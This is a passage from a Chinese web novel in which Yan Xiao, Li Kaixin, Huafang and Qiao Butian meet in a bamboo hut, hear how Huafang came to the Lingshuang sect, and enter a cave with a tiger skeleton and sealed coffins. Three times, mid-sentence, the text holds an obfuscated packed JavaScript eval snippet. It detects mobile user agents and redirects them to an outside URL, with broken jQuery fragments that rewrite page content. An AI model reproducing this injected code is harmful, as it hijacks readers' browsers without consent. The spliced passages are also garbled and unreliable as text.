言笑把挂在花方脖子上的手臂拿下来,挑眉疑惑道:“你谁啊?” 对方毫不掩饰地翻了个白眼,别过脸去,不再看她。 屋内正中一张四仙桌,柜子里有茶叶和茶具,花方去屋后打井水,给大家烧水泡茶。言笑趁花方泡茶的光景推开窗格,深山之中鸟鸣空灵,竹影婆娑,远处似有溪水声响,间或竹林深处奔过一只小兽。 乔步天率先落座,长剑横在桌上,锐不可当,一派恣意风流。“过来消停坐会儿。山里蚊虫多,你不关窗等会儿蚊子全进来了。” 言笑虽然对乔步天这张脸无甚印象,可这话在理,于是从善如流地关窗,不见外地在乔步天身旁的位置坐好。 乔步天又招呼李开心,好奇地瞧他两眼,“你真是112358?长得不错,基因哪儿弄来的?行了别站着了,坐吧。” 李开心难得连手脚都不知道该如何摆放,刚要坐到言笑身边,就被言笑不耐烦地摆手轰走,“你你你别别别你别坐我旁边。” 于是李开心挪了个位置,要坐言笑对面。言笑看见这张脸就气不打一出来,拍桌怒道:“别坐我对面!不想看见你!” “行了行了,消消气。”花方提着泡好的热茶进屋,四只茶杯往桌上一摆,腾出手来按李开心的肩膀,强行让他与言笑相对而坐。“这里的茶比咱们那时候好,纯天然无污染。这茶是我好些年前存的,等离开这儿,二哥带你去尝尝新茶。我和老三住的地方附近就有茶田,几年练下来,老三现在炒茶可熟练了。” 热气蒸腾,茶香萦绕,言笑喝不出茶叶好坏,渴倒是真的渴了,稀里糊涂吸着气灌下茶水,问花方与乔步天,“你们两个怎么会来这儿?” 这事说来话长。花方言简意赅概括道:“掐指一算。” “……哈?” 鲜红衣袖一扬,桌上叮叮当当落下一把金光灿灿的骰子。言笑拿起一颗,对着阳光反复打量,“是金的吗?” “是。要不你咬一下试试?”花方笑眯眯道:“但这不是重点。重点是骰子里能看出卦象。” 简而言之,花方在这泡泡里待了六十多年,参禅悟道闭门静修,硬是把自己熬成了能掐会算的半仙。花方算出今日在这山里会有机缘,遂与乔步天来到木屋,哪想屋门紧锁,鸠占鹊巢,花方敲了敲门,出现在门内的竟然是李开心。 又或者说,应该叫他112358。 花方在六十多年前见过他几次,瞬间就认出了这张脸,再往门内一瞧,言笑正靠在墙边沉睡。李开心本以为是路人造访,哪想花方与乔步天竟在此地出现,李开心当即将门合上,花方与乔步天随即暴起破门。 花方给乔步天斟了茶,转向李开心道:“我有问题问你。你不用回答得特别精确,你只需要告诉我是与不是。你必须听命于一些人吗?” 李开心说:“是。” 花方略一蹙眉,“你被人改过程序?” 李开心不说话了。言笑明显心虚,声若蚊蝇,“……改过。” 花方纳闷瞧她,“你怎么知道?” “……因为是我改的。” “那你就再改回来。” “……改不回来。不会改。” “行了,这就挺明显了。”花方叹气,“如果他的程序不恢复,他听命于他所听命的人,那他可能会做出不利于你的事。所以在刚才的梦境里,他才逼你改程序。” 言笑心里一沉。 这就对上了。 这就是李开心必须杀死那么多“海棠副本”的原因。这是李开心接受的命令。 “实在不行,小六你先在这里多住一阵子。你们之前经历的泡泡一定都不适合居住,所以他才没替你想办法留下。”花方说着起身,从柜里拿出两套衣物,让言笑与李开心换上,又问李开心,“我说对了没?” 长指将白衣抓出褶皱,应答的只有屋外隐约的清脆鸟鸣。 “那就是对了。”花方吹了声口哨,让言笑进内室更衣,“他不想让你出去,一定有他的理由。你俩先去跟我俩办事,把事情办完再说。” 言笑偷瞄李开心那头不敢抬的可怜见儿,早先怒火早已烟消云散,可也一时不想给他好脸,抱着衣服昂头进屋。花方拿给她的是件淡绿襦裙,肩头坠着一簇碎花,清新雅致,尺寸恰好合身。言笑将襦裙罩在衣服外面,又拎了拎肩线,一边摆弄衣袖一边走出房间,问花方这么穿好不好看。 花方始终笑意盈然望着她,伸出指尖擦擦眼尾,“好看。”又从袖中摸出一枚闪闪发亮的龙形徽章,“这个给你,戴着,保平安。” 言笑将徽章别在胸口,“怎么,你开过光的?” “我师父让我转交给你的。看来他早就预见了你的出现。” 乔步天则从腰间抽出一把半自动手枪,别扭塞进言笑怀里,扭头看向窗外,“这个也给你。” 言笑目瞪口呆,“怎么还有这玩意儿?这科学吗?” 手枪显然与炼丹炼药羽化登仙的世界风马牛不相及,这枪是花方从其他泡泡带过来的。花方解释道:“之前我无意中发现过,想要穿越泡泡,能量震荡是关键。只要找到泡泡的能量薄弱处,再用炸药炸开,就能来到一个新的世界。” “你炸了多少个?” “这是第十九个。” “然后在这儿待了六十多年?六十多年你都不跑路?这里这么好吗?生产力低下,一看就缺吃少穿的。” 花方神秘一笑,“我需要这里的世界观。” 相比于花方需要这里的世界观达到什么目的,言笑觉得仍有根源问题需要明确一下,“那你为什么会来到泡泡?你也听命于联盟吗?” “当然不。我是自己进来的。老三死后的那几年,实验室一直兵荒马乱。后来……”花方眸色一黯,又迅速恢复过来,长腿随意往竹椅上一搭,慵懒从容,“后来发生了一些事情,让我觉得实验室被迫走到那一步真是毫无意义。就在那时候,我突然想明白——老三到底是怎么死的。 “当时大家以为,他精神错乱,想用粒子加速枪自杀。可从前祖奶奶说过,人的大脑相当于整个宇宙。所以我猜或许他不是寻死,而是想用自己的大脑能量开启新的宇宙,从而逃脱他人追逐。” 与乔步天在飞船中留下一具大脑空白的尸体不同,花方整具躯体都被泡泡宇宙吸纳,粒子加速枪在飞船实验室的展示柜前落地,虎斑猫蹲在枪旁专心舔毛。花方行走于各个泡泡之中,直到来到这里,耗费近六十载养回乔步天的魂魄,还顺便精通了算卦这一适合摆摊赚钱的实用技能。 六十余年光阴不过在几句话中寥寥描述,言笑听完,心悦诚服道:“别的不说,修仙还是有点用处的,你这张脸竟然完全没老。还有这琴,”朝桌上古琴拍了一把,琴弦发出低沉的嗡嗡铮鸣,“会算卦会弹琴,走到哪里摆摊都很吃香。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205897|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔步天冷哼一声,“可别让他弹琴。” 花方眉眼含笑,作势挽起袖子要露一手,“我弹琴怎么了?我给你表演一下?” 乔步天面无表情堵上耳朵。 花方没再逗他,对言笑解释道:“据我猜测,穿越泡泡、或者说出泡泡,其实也有第二种方法,就是共振。弹琴和拿炸药炸在本质上没有区别,都是能量的撞击与流动。在我进入泡泡后没多久,我听见天边传来过钢琴声——那个泡泡里没有钢琴,哪怕在现实世界,在我们生活的时代,钢琴也不常见。” 李开心正将白衣往身上套,闻此终于开口,“是联盟巡逻队进了飞船。他们检查过飞船里的钢琴。” 花方呷了口茶,又给众人续上茶水,“所以每到一个新的世界,我都会制出一个能弹出八度的拇指琴,在这儿——”手指在数条琴弦上同时一勾,毫无和谐可言的弦音同时迸发,声音堪比锈刀砍树,破庙关门,令人闻风丧胆,不忍卒听,“好多修道之人都爱玩个乐器,我就跟着附庸风雅一下。” 乔步天被那弦音击中,捂住胸口,满脸痛苦神色,“说话就好好说话,别弹琴。” “怎么了?我弹得多好听。”花方大言不惭,伸手还要再弹,被乔步天擒住手腕死命阻止。 四人离开竹屋,向大山深处走去。乔步天显然对于李开心的存在十分新奇,偷瞄他好几眼。花方毕竟见过李开心,好奇心就放在了另一件事情上,“你什么时候还有名字了?这名字谁给你起的?”见李开心不答,问言笑道:“你起的?” 言笑摇头,摆手,撇清关系,“可不是我。” 花方拨开一丛竹枝,长而有力的手指握住粗糙竹叶,让言笑先走。言笑走出两步,突然回头问他,“二哥,你在泡泡里遇到过现实生活中的人吗?” “遇到过。”花方沉吟,“但他们应该只是……现实中的投射,他们并没有现实中的记忆。” 言笑嘴唇一动,欲言又止。其实言笑想问,谭述是不是现实存在的人,或者说,谭述是不是她的原身认识的人。如果从前给李开心改程序的人确实是她,她在魔方当中确实穿越回了过去,那么谭述就不会只是个无足轻重的泡泡小人。 可言笑没问。记忆与梦境颠倒,想像与感官混淆,很多时候言笑几乎无法辨别真实与虚幻,也无法肯定那些偶然在她脑中一闪而过的细枝末节究竟是记忆复苏还是想像错位。但话都到这儿了,不说点什么不合适,言笑只能没话找话,“泡泡里怎么会有这么复古的世界观?和现实简直毫无关联。” 花方意味深长看她一眼,“从前实验室里有人爱看古早网络小说。” 按花方的说法,他与乔步天今日被卦象带到此处其实是为了阻止一场恶战。“通天神教近日给凌霜门下了战帖,由头是多年前两派相争,凌霜门不仅杀他教众,还杀了前任教主的后人。” 言笑看热闹不怕事大,品评连续剧似的脑补剧情,“通天神教,小说里但凡是个名门正派都取不出这种名字。这是两派相争吗,还是对家替天行道来了?再说他家怎么断后了还不消停,前任教主的后人是谁杀的?” 花方踩着石头蹚过溪流,回身向言笑伸手。“凌霜门现任掌门,山海。她也正是经此一役而名扬天下。” 言笑扶着花方的手过河,暗自咂摸剧情,“好奇怪的名字。按小说里的套路,他和那个什么后人应该是一对断袖。” 乔步天快被言笑说晕了,忍无可忍插嘴道:“山海是位女掌门。” 言笑惊喜地一拍大腿,“这不就对上了吗!那她肯定和那个什么后人有点不为人知的往事!” 乔步天恼怒训斥,“……你可少看点儿糟烂小说吧!” 61. 竹林传说03 战火重燃,必有灾殃。山海自然不愿接这战帖,遂请花方卜卦,看看此事是否还有转圜余地。 花方粗略一算,告诉山海说这仗应该打不起来,且机缘就在这竹林里。至于如何才能不打起来,卦象云山雾罩,花方掐指再算,发现是个不能深究的大卦,硬算怕是克他自己,这才收手。 竹林之外,越过山谷,攀至山巅,便是通天神教总坛所在。虽然据此尚有些距离,可也难说教众会不会乍然出现于此。花方问李开心,“你听力怎么样?会不会比普通人类好一些?” 李开心一直盯着前方开路的言笑,见她脚下一绊,立刻身手敏捷地拎住她后衣领子,将人提了起来。“比普通人类好很多。” “那就行。”花方悠然吹了声口哨,“咱俩多听着点儿,他们两个指望不上。” 山路崎岖,言笑走得一脚深一脚浅,葳蕤竹叶翻卷于稀薄暑气之中,在一地乱石上筛出细碎光影。“二哥,咱们现在到底往哪儿去呢?” “山里有一处石窟,先去那里看看。 “从最开始学推演之术时我就发现过,我算不出与自己有关的事,当然,也算不出老三,也算不出你。可我师父能算出一二。在他离家云游之前,他曾提点过我,让我于五年前的夏季到这片竹林里来。” 昔年眼看时节临近,花方隐隐觉察似乎即将有事发生,干脆在竹林里建造一座竹屋,安心住了下来。哪想熬到夏日将过,也不见有何玄机。一日傍晚,花方再按捺不住,掷出一把金骰子,想算算这所谓的“有事发生”到底要挨到何时。 卦象让他向西南方向去寻。 花方提了盏灯,一直走到月上中天。灯油耗尽,彩云遮月,花方突然一脚踩空,跌进一处藤蔓掩映的洞窟。斜坡陡峭,花方在黑暗中滚出老远,额头撞上什么东西,立时晕了过去。 那是一具虎骨。 次日破晓,故人还魂。 言笑困惑地仰起头,“那什么,我就是有点好奇哈,他隔了这么多年突然……随你说是灵魂重聚还是什么的,那他重聚起来的时候穿衣服了吗?” 乔步天气急败坏,“老六你满脑子都在想什么!” “啊啊啊啊啊啊啊——”言笑抱头尖叫,撒腿就跑,李开心拨开竹枝,快步跟上。 “言笑你慢一点!” 慢一点说不定乔步天要脱了鞋朝她脸上扔,傻子才慢。言笑跑得头也不回,心里却当真有恃无恐,李开心就跟在她两步开外,哪怕此刻从天而降一个妖怪也不算什么天大的危险。拐个弯儿的工夫,身后早已不见老二老三,言笑气喘吁吁停下脚步,回身没好气地剜了李开心一眼。 李开心神色一僵,讪讪后退半步,没再近前。 言笑哼道:“你跟着我干什么?” 李开心凝视着她,密林筛出小小一个光点落在眼下,如同泪痣。“对不起。” 心脏突然像被纸片状的刀锋割出薄如蝉翼的刀口,言笑心中一悸,故意扭身不再看他,但也说不出更重的话。脚步窸窣靠近,言笑被一只大手轻轻攥住小指,“我不该那样。” “哎,”言笑登时急了,想把手抽回来,“你干什么!” 李开心以往都不太会忤逆她的意思,可言笑这次竟没能抽回手去,越抽不出去越急,到最后几乎是用力把李开心甩开。 李开心向来沉默内敛,但言笑再了解不过,李开心喜欢自虐。 言笑低头搓了搓手,故意避开李开心的视线,“那什么,我争取努力回忆一下,看能不能把你的程序再改回来。不单是你那个什么执行命令的程序,还有那个……实在改不回来的话,大不了咱俩在这儿过一辈子呗,我也去跟二哥学学修仙,多好啊长生不老。从前在鹦鹉螺城——” 言笑说着,舌头猛然打绊儿,“可我要是出不去了,秦笙怎么办?” 说话间花方与乔步天追赶上来,言笑只好假装无事发生,又回到花方身边与花方一道走,仰头问他还要多久才到那石窟。 花方往前一指,“马上就到。这石窟不止一个入口,早年我经常来这儿遛弯。前面那个入口好走一点,咱们不需要滚进去。” 簌簌一阵风来,带起竹叶轻响,忽有笛声穿云破空,清越空灵。李开心当即警惕地挡在言笑身前,花方见状,摆摆手宽慰道:“没事没事,是山海来了。” 说着,反手勾了几下琴弦,以琴声回应。琴声遥遥穿过整片竹林,飞鸟振翅,走兽低语,林中一时躁动。 言笑一言难尽瞅着花方,“你练了六十多年,弹琴就这水平吗?” 先不消说这几下弹得节奏稀碎,连拨弦都既慢且钝,琴音拖泥带水,浆糊似的黏成一片。花方大言不惭,“这不挺好么,音准对就不影响。” 乔步天没出声,脸上写着:我怎么说来着? 花方招呼几人进石窟,“让山海自己找过来吧,咱们先进去看看。其实在这儿我和她平辈,但走哪带着她依然觉得很像带着家长,就像,”花方转向言笑,试图解释他对山海的微妙抵触,“就像咱们出去喝酒带着你爸。” 言笑并不是花方那位旧识,所有人都心知肚明,可偏偏花方老是默认她的原身身份,言笑也懒得纠正他。四人进入石窟,光线渐暗,失去阳光投射,温度明显降低。乔步天走了两步,突然停下,花方问他怎么了。 乔步天摇摇头,“就是……感觉怪怪的。” 言笑被他说得毛骨悚然,手臂上浮起一层鸡皮疙瘩,悄悄往李开心身旁挪了两步,躲在他身后四处乱瞧,“什么意思?这里有鬼?” “应该不是。”乔步天深呼吸,若无其事继续迈步,余下三人便也一同向前,四人队伍缓慢行进。“我没修炼几年,有鬼也感觉不出来。” “就是。”花方爽朗一笑,伸手将乔步天拽近了些,“你都没结丹呢,还是跟紧我吧。” 言笑扑哧笑出了声,“结丹?不就是结石么——啊!” 脑瓜崩弹得清脆响亮,花方满意地收回手,向言笑的方向一挑眉,以眼神指挥李开心,“你——看好她。” 李开心点头。两人默契完成分工。 石窟中的道路长而狭窄,时有分岔,目之所及皆是石壁,走久了看得言笑眼晕。别的倒无所谓,言笑就是挺好奇花方那个算卦是怎么学的,这个技能非常实用,去赌场绝对大杀四方。 “我刚进这个泡泡的时候遇到过一点麻烦,是山海救了我。我师父——就是大名鼎鼎的天下第一神算——算出我是他命定的徒弟,所以让山海及时出现,解救我于水火。” 来到此地以前,花方早已对于制造并且使用炸药穿越泡泡这一流程十分熟练。月黑风高,山外丧尸密布,脚步声里带着烂肉摩擦撕扯的响动,空气中尽是令人作呕的腐臭气息。花方泰然自若,引爆炸药,自信跨过被轰得破碎的泡泡交界,然后一脚踩空。 大概三层楼的高度,花方在急速坠落后摔到了头,一连昏睡数日,继而迷蒙醒在艳阳高照的午后。 好消息:他躺在一张软榻之上,锦被刺绣华美,脂粉香气扑鼻。 坏消息:他被五花大绑。 吱呀一声门开,丰腴妇人捏着手帕探进来半张脸,一见花方醒转,登时喜上眉梢。“小哥呦,你可总算醒啦。” 这点琐碎大概早被花方津津有味讲述过八百遍,乔步天听得面目扭曲,“你怎么不以为耻反以为荣呢?讲个没完。” “我有什么好以为耻的?”花方挑着眼梢瞧他,“人家说了,从开张起就没见过长我这么俊的。我要是不帅,他们能逼我接客吗?” 花方一脚摔进勾栏瓦舍,鸨母龟公看上他这张俊脸,好说歹说,再三挽留他在此当个头牌。 言笑兴冲冲道:“头牌一定赚很多——”话没说完,又挨一记脑瓜崩。花方斜她一眼,懒洋洋道:“让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205898|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂牌下海,他们也配?” 如今说得轻巧,当年花方却着实吃了一些苦头。坠落时摔伤了脚,不肯服软又只能挨饿,几日下来,花方折腾得气息奄奄。鸨母拿手帕抹泪,“你若不情愿,我也不好强逼你。如今看来,也只能……” 鸨母吸吸鼻子,依依不舍道:“也只能给你找个好人家了。” 鸨母所谓的“找个好人家”,其实是要将花方卖给仙门之中一位有断袖之癖的小少爷。也正是听了鸨母天花乱坠介绍这位仙门小少爷如何英姿勃发锄强扶弱,花方才意识到这个泡泡真正的世界观。 有仙,有鬼。 那么就一定能起死回生。 在凡人手里都被搓圆揉扁,进了仙门肯定更加逃脱无望。花方绞尽脑汁,假意同意,将养几日之后,一晚趁着守卫松懈,手执一根厨房偷来的擀面杖防身,翻窗逃离。 “快来人呐!那个小哥跑啦!” 小厮的喊叫打破深夜寂静。背后嗖嗖一阵风声,花方突然觉出有什么东西贴上肩胛,纸似的薄,却重如千钧。 花方脚下一软,栽倒在地。原来龟公也曾是个修道之人,奈何五毒不清,六根不净,相比修道还是更钟情皮肉生意。龟公带着一众小厮赶来,冷笑吩咐,“给他绑了,押回房里。这几天别给他饭吃。” “且慢!” 门外响起一道清脆女声,嗓音借灵力遥遥送来,不过弹指之间,来人已然自十余丈外近前。压住花方肩膀的小厮抬头看向来人,讷讷停下动作。 “买他要多少银子?我买了。” 趴在地上的花方费力抬眼,入目先是一双不染纤尘的长靴,佩剑寒光闪闪,道袍素净,下摆绣着一朵霜花。 龟公认出女子装束,晓得这是名门修士,撕破脸皮终究难看,只得故作为难道:“仙姑来得不巧。这位小哥已经有人家了,要是让您带走,我们也不好交待。” 花方怒骂,“有你妈。你把我卖出去,你经过我同意了吗?” 女子“哦”了一声,似乎也不觉得这是大事,开口还是原来那句,“买他要多少银子?” 四下安静,只有火把烧出毕毕剥剥的声响。龟公眼珠一转,挠挠下巴,说了个数。 花方怒火中烧。正赶着肩胛上那符松动,重量也不再像之前那么难以承受,花方气沉丹田正想骂人,抬头看见女子的脸。 脏话瞬间憋了回去。 女子也不还价,低头从袖里掏钱。花方忍了半天,思来想去,还是觉得忍无可忍,酝酿半晌,斟酌着建议道:“要不你还还价?他坑你呢,你看不出来?实在不行你还能打啊,凭什么让他得逞?” 女子数了银票给龟公,挑起花方肩上符咒,让他起来,“没事。钱不是我出的。” 花方跟随女子离开。虽然对方是个女人,可既然是修道的,花方便也自知不敌。遁逃无门,干脆随遇而安,“仙姑怎么称呼?” 女子抬起薄薄的眼皮,丹凤眼眼尾上挑。 “山海。” 银子自然是花方他师父出的。花方在神算先生身边混了两年,囫囵学些推演之术。一日凌霜门设宴清谈,邀请神算先生前去。宴席过半,神算先生竖起指甲敲敲桌子,示意花方倒酒。 花方照做。神算先生瞧他一眼,叹气。 花方,“?” 神算先生悠悠道:“你知道你今天是来这里做什么的吗?” 花方放下酒壶,“来给您倒酒的。” 神算先生恨铁不成钢,只觉自己过往两年教了一根木头,哽了半晌,决定亲自将这坨烂泥扶到墙上,“这里有你想要的东西。至于你能不能找到,就看你这两年跟我学了多少本事了。” 花方蓦然抬头,神算先生却已不再看他,老神在在灌了杯酒,伸手挟菜去了。 花方从没说过他留在这里是为了什么。 但神算先生早已了然。 62. 竹林传说04 松风水月,曲径通幽,每隔一段距离,林深静谧之处就会亮起一盏铜灯。 花方此前从未来过凌霜门,一路躲着各派弟子,净寻些无人踏足的偏僻路线,边走边扔骰子。神算先生起卦常用铜钱,可他那铜钱花方用不惯,绞尽脑汁试过许多法器,才终于在这一把金骰子上找到些许感应。 骰子将花方带到藏经阁。 四方窗扇有术法护持,但偏偏大门正中只落一把巨大铜锁。花方掏出手枪,将那铜锁轰开,推门而入。月光斜映,周遭寂然无声,花方不慌不忙,闭上眼睛深呼吸,将手中那把金骰子撒在地上。 凌霜门藏经阁中藏着几卷古老秘术,传言源自洪荒年岁的上古神族,后来神族陨落,秘术就也永远封存。花方跟随神算先生学艺两年,一直都是半吊子,那晚却开了天眼似的,如有神助,不过扔出几遍骰子,就被他找见破败到快要腐化的《织魂秘笈》残简。 死而复生这事有违天道,放在哪个世界都不会有好结果,可花方既已在此,便也不会在意这些条条框框。囫囵翻过前方长篇大论诸如“施用此术者不得好死”云云,花方燃了个火符,凝神细看,紧锣密鼓将整卷《织魂秘笈》背诵下来。 堂而皇之从凌霜门偷窃毕竟不好,一旦被人发现,必定麻烦缠身。花方自小过目不忘,把秘术揣脑子里比揣怀里省心,几卷竹简不过耗费个把时辰。哪想背诵过后,刚把竹简放回原位,门扇忽然在静谧之中轻轻发出“吱呀”声响。 彼时花方尚没怎么修炼过,五感与常人无异,丝毫没意识到门外有人靠近,可当意识到时已经晚了。 山海从容迈进门槛,绕过层层书格,寻到花方,执了个礼,“花先生。” 这场景十分尴尬,毕竟是在山海家里做了一回梁上君子,哪怕现在山海拔剑相向,也是理所应当。花方尴尬地清清喉咙,“您怎么在这儿?” 山海显然对于花方破门进入门派禁地一事接受程度非常之高,若无其事道:“神算先生告诉我的。” “……” “之前有些事情,神算先生没说清楚。刚刚我去问他,他说让我来找您。” “啊不不不您客气了,”花方局促地搓搓手,“要不我试试?我很菜的,不一定能看出什么。” 花方说自己菜是真的菜。尽管这两年神算先生已将毕生所知传授于他,可擅长死记硬背不等于真正参透玄机,对于很多法门,花方依然不得要领。花方蹲在地上,刚要掷金骰子,又收回手,仰头问山海道:“您要问什么卦?” 山海回答,“六十年后。” 既不消说也不消算,必然是他那位师父给出这么一个时间点哄着山海玩儿,神算先生铁口直断,仙门之中谁见了他都得供着捧着。花方试着给山海算了两次,然后发现,算不出。 花方从前只知道他算不了自己,也算不了老三,但在这泡泡之中,花方是第一次遇到他真正不可算的人。 唯一的可能是,这事也与花方有关。 就在那晚,神算先生给花方留下手书一封与徽章一枚,自此云游四海,仙门之中再无人得幸见他。花方没了师父,顺势赖在凌霜门参禅静修,神算先生从前也常来这儿打秋风,如此也算门派传承。 花方说到此处,抛出骰子,又熟练将骰子接在掌心,指了一个方向,“这边。” 四人方才在石窟中没走出多久,花方就发现窟中道路与以往不同。这石窟本就玄机密布,出点幺蛾子也正常,于是花方摸出骰子,每次遇到岔路都靠骰子指路。这般七扭八拐,绕了将近半个时辰,终于得见远处石缝之间遥遥落下一道天光,似有出路。 那是一处四五丈见方的洞窟,洞窟一角有道石路倾斜而上,石路尽头,匍匐着一副虎骨。 言笑啧啧称奇,凑过去比划着,“老虎原来这么大个儿。我之前看三战以前的动物纪录片,也没太仔细听,一直以为老虎就比猫稍微大一点点。” “可比猫大多了,能把你吃下去。”花方举手成爪,故意做个凶煞模样,朝着言笑呜嗷一声,目光却往虎骨上瞟着,“它头上那是什么?” 虎骨晶莹,洁白不似骨骼,表面泛着润泽的光,跟玉似的。而额骨正中有块绛红印记,形状不太规则,鸽血一样,浓郁深重。花方伸手比划,在心中模拟自石路上方滚落的运动轨迹,“难道是我的血?五年前我就是把脑袋磕在这儿然后磕昏了?” “不是吧?”言笑疑惑道:“血迹干了不是这个颜色。应该比这个色深。” 乔步天走近虎骨,俯身细看,“你看这骨头的样子,又哪里像真的骨头?所以要说血迹留在上面是这个效果,也不是说不过去。” 洞窟中一时安静,针落可闻。乔步天直起腰,问花方道:“你有没有觉得……这里有什么东西?” 花方一笑,两手抱臂,明明是防御的姿势,也没忘记举重若轻朝乔步天扬扬下巴,“连你都感觉出来了?” 言笑这才注意,花方一直背靠石壁,站在洞窟入口不远处,四人之中只有他的视线范围覆盖了整座洞窟。 言笑往李开心身边凑了凑,“这里有什么东西?鬼吗?” “应该不是。”花方取下背后古琴,信手拨了两下。几声昏天黑地的琴音过后,微弱红光自古琴蔓延开来,悄无声息融入石壁。“这里有种奇怪的……”花方略一停顿,斟酌用词,“力量,或者能量——还真是在这儿待久了,常规词汇都快不会用了。应该说,这里有种奇怪的场。但我不觉得是鬼,因为感受不到阴气。” 乔步天若有所思打量着匍匐在地的虎骨,沉吟片刻,伸出了手。眼看手指就要触到那块红斑,花方突然喝住了他,“老三,别碰!那不是什么好东西。” “我们来这儿,不就是为了这个么?如果机缘不在这儿,机缘还能在哪?”乔步天深吸一口气,指尖蜷缩。言笑能看出乔步天犹豫,他却没收回手。花方大步上前,拽住乔步天手腕,硬是将他拉了回来。 “我来。” 乔步天拦住花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223191|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方,摇头,“你不行。我有种感觉。它需要的是我。” 虎骨触手生温。乔步天先拿指尖小心翼翼探那块红,未见异样,便将整张手掌都贴在额骨上。忽然一声沉重闷响,似有巨石落地,四人齐齐抬眼,竟见面前石壁缓缓下沉。逼仄空间豁然开朗,内里居然别有洞天。 言笑往前瞅了一眼,痛苦地捂脑门,“我的天。” 密室之中摆着两具棺椁。 言笑现在有棺材PTSD。以泡泡的剧本套路,这棺材大概率不是空的,而且棺材里的人一定特能作妖,干不出什么好事。花方以眼神示意李开心,让李开心守着乔步天和言笑,又从乔步天手中拔剑,上前试图撬开棺椁。 言笑纳闷地瞄着花方,问乔步天,“他自己没有剑吗?怎么拿你的剑?” 乔步天始终关注花方的一举一动,压根没看向言笑,随口回答,“这就是他的剑,我练那两下子压根没必要佩剑。出门在外,总得撑撑场面,他就让我拿剑,装装样子。” “……” 剑尖嵌入棺椁缝隙,花方凝神用力,将那长剑一别。“咔嚓”一声响动,石缝爆出火花,棺盖却纹丝不动。花方不信邪,灵力自手臂传至指尖,暗红电流缠绕薄而锋利的剑刃,炽烈浓艳。 突兀刺耳的爆炸声骤然自剑刃与棺椁相斫处迸发,言笑抱头躲避,俄而自李开心身后悄悄探头张望,“这也不行啊。” 棺椁完好无损。言笑不知道花方刚才那一剑使出多少力气,但继续硬拼不是办法,再左右看那棺椁,突然往棺椁下方一指,“那是什么?” 阴影之中似有什么东西泛出沉沉暗光。言笑嗖嗖两步跑去,趴在地上伸出胳膊就要往里够,还没等摸着,就被拎着后衣领子提了起来。 乔步天把言笑往李开心的方向一扔,没好气训斥道:“给我起开。”自个儿俯下身去,往阴影中摸索。金属在石地上拖出硌硌楞楞的声响,听着极重。 那是一把古剑。 剑鞘上积着一层灰尘。乔步天吹了吹,问花方道:“是不是应该拿这个开棺材试试?” 花方向乔步天伸手,长而有力的手指停在半空,“你别拔剑。你把剑给我。” 乔步天抬起眼皮瞧他,对视之间忽然握住剑柄,趁其不备,用力向外抽出数寸距离。 “老三!”花方怛然失色,快步上前,想要阻止,可也已经晚了。青碧幽光霎时扫荡整座石室,明亮天光都被浸了阴沉暗色,李开心本能握住言笑肩膀,将她往自己的方向带了几分。 有这三人在场,言笑压根没觉得害怕,安然在李开心的手臂禁锢下四处乱瞧,至多肩膀被他攥得有点儿疼而已。 幽光渐渐散去,如同墨色被逐渐稀释,耳边嘈杂声起,叫卖吆喝、走街串巷,蒸笼掀开,眼前雾茫茫的一片白,有人递去两枚铜板,“老板,猪肉包子来一个!” “好嘞!” 石窟、棺椁与虎骨皆消失不见。四人正置身于车水马龙、人声鼎沸的大街上。 63. 竹林传说05 包子摊离得远,言笑踮脚往笼屉里头瞅着,肚子不合时宜地咕咕乱叫,抬头认真问花方道:“二哥,你带钱了吗?” “带了钱也没用。”花方目不转睛盯着包子摊老板将铜板丢进一个白釉小花瓶,“他们用的铜板现在已经不流通了。 言笑对于被泡泡带着穿越一事经验十足,也不介意,“那现在大概是在什么时间点?” 花方凝重地摇摇头。 那把怪里怪气的剑并没被带入这个——随便是梦境、记忆还是过往现实——花方归剑入鞘,几人在大街上闲逛起来。言笑很快发现,他们四个虽然可以互相触碰,却无法与这个世界中的人物产生任何互动,台下观戏,剧院开场,他们不过是上帝视角的观众而已。 道路尽头传来一声清脆吆喝,“来来来,上上上,我今天非逮到他们不可!” 数个黑衣少年拔足狂奔,堂而皇之跑过大街,在言笑身边带起呼啦啦一阵风。喊话的白袍少年刚跑出两步,就被身后的人按住肩膀,“令仪,别追了,先去将那些册页收回来。” 柴令仪矮下肩头,却没能将那力道卸掉,逃脱无望,这才愁眉苦脸地回身,“大师兄,那不是有山海他们在么。” 苏恪道:“你也去。” 言笑遥遥看那两人,一身白衣,手执佩剑,衣袍下摆有些刺绣纹样,应该是凌霜门的人。花方叹气,了然道:“我知道这是什么时候了。” 世人崇仙,却不是所有人都有仙缘。大约百余年前,民间流传着这样一个说法:说自行修炼不得要领,极易走火入魔,仙魔一念之间,一步行差踏错便将万劫不复。 